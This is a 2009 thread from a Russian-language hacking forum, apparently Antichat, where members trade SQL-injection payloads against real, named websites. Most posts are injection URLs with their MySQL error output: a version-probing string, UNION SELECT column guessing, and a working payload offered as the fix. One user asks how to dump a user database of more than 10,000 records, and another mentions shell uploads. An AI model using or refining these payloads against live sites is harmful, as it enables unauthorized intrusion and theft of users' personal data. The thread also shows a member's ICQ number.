11.12.2009, 20:15
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
http://www.trcc.cc.mo.us/newsdetail.php?ID=156'+and+substring(version(),1,1 )=5/**/and/**/'1'='1
ну и чем твой запрос отличается от моего в принципе? Перестановкой and or 1=1? Смешно
PS: А, понял, типо в твоем БОЛЕЕ очевидно, что 5-я ветка. Ну мейби, мейби, типо меньше глаза ломать. Но у меня зато не надо думать о кавычках и последовательности их закрытия, т.к. просто вызываем ошибку и дальше все стандартно (тут все-таки не диссер пишем, а наводим чела на хотя бы правильное решение. Ты еще шелл предложи ему залить просто так  ) Вот джок молодец, я такого раньше и не слыхал.
Последний раз редактировалось Pashkela; 11.12.2009 в 20:28..
|
|
|
11.12.2009, 20:37
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами:
10692266
Репутация:
3486
|
|
Pashkela, ну да, статьи то читать это же только для крутых цветных дядек
|
|
|
|
11.12.2009, 20:41
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Да-да, вы все правы несомненно. Пойду читать. Ибо, как я понял, просто помочь уже не катит, надо подсказать максимально эффективно. Но радует такая придирчивость, честно. Так правдами и неправдами действительно хоть чему-то научиться можно.
PS: Только в бошку оно быстрее и надежнее влезает на живых примерах-то.
Последний раз редактировалось Pashkela; 11.12.2009 в 21:53..
|
|
|
|
12.12.2009, 17:28
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
С нами:
9555536
Репутация:
95
|
|
Чем можно сдампить БД юзеров,где больше 10к записей? Ни SSD/SQL Helper не катят...
|
|
|
|
12.12.2009, 18:41
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
С нами:
9419426
Репутация:
648
|
|
Сообщение от jecka3000
Чем можно сдампить БД юзеров,где больше 10к записей? Ни SSD/SQL Helper не катят...
Доступ к шеллу есть? Если mysql бд, то mysql-dump
|
|
|
|
12.12.2009, 18:49
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
С нами:
9555536
Репутация:
95
|
|
Root-access, шелл залить не получается, видимо права...
может быть посредствам командной строке возможно это сделать?
|
|
|
|
12.12.2009, 18:50
|
|
Постоянный
Регистрация: 20.12.2007
Сообщений: 334
С нами:
9680718
Репутация:
118
|
|
что не понятно, что человеку надо сдампить через sqlinj |
|
|
|
12.12.2009, 18:50
|
|
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
С нами:
8663063
Репутация:
226
|
|
Доброго времени суток.
Есть проблема:
http://vb.by/author.php?topic=11&author=9'
Выдеёт:
SQL request caused an error.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
http://vb.by/author.php?topic=11&author=-1
Выдаёт:
SQL request caused an error. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND project_id<>1 AND project_id<>2 ORDER BY `date` DESC LIMIT 0, 15' at line 1
Пробую найти колво столбцов:
http://vb.by/author.php?topic=11&author=-1+UNION+Select+1%20--%20
Страницу открывает, в исх коде в самом конце пришет:
SQL request caused an error. The used SELECT statements have a different number of columns
Потаюсь подобрать дальше:
http://vb.by/author.php?topic=11&author=-1+UNION+Select+1,2%20--%20
Открывает страничку на которой только написано:
SQL request caused an error. The used SELECT statements have a different number of columns
Написал прогу чтобы вручную не перебирать, и сколько бы я не брал столюцов пишет different number of columns
Что ето может быть такое???
|
|
|
|
12.12.2009, 18:55
|
|
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
С нами:
10158086
Репутация:
1359
|
|
не нужно гадать.
http://vb.by/author.php?topic=11&author=1+and+1=2+union+select+ version()--+
хорошо конечно знать новые методы, но может сначала поискать "обычный" вывод?
|
|
|
|
12.12.2009, 19:47
|
|
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
С нами:
8663063
Репутация:
226
|
|
Сообщение от geezer.code
не нужно гадать.
http://vb.by/author.php?topic=11&author=1+and+1=2+union+select+ version()--+
хорошо конечно знать новые методы, но может сначала поискать "обычный" вывод?
Так я искал, но такой запрос вызывает ошибку! Сорри я прост немного ещё в жтом не разьераюсь... учусь... Если есть возможность напиши плиз в аську 553226859
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для shellz[21h]](/avatars/avatar46780.jpg?1751823){kind=avatar}
Похожие темы
Комбинированный вид
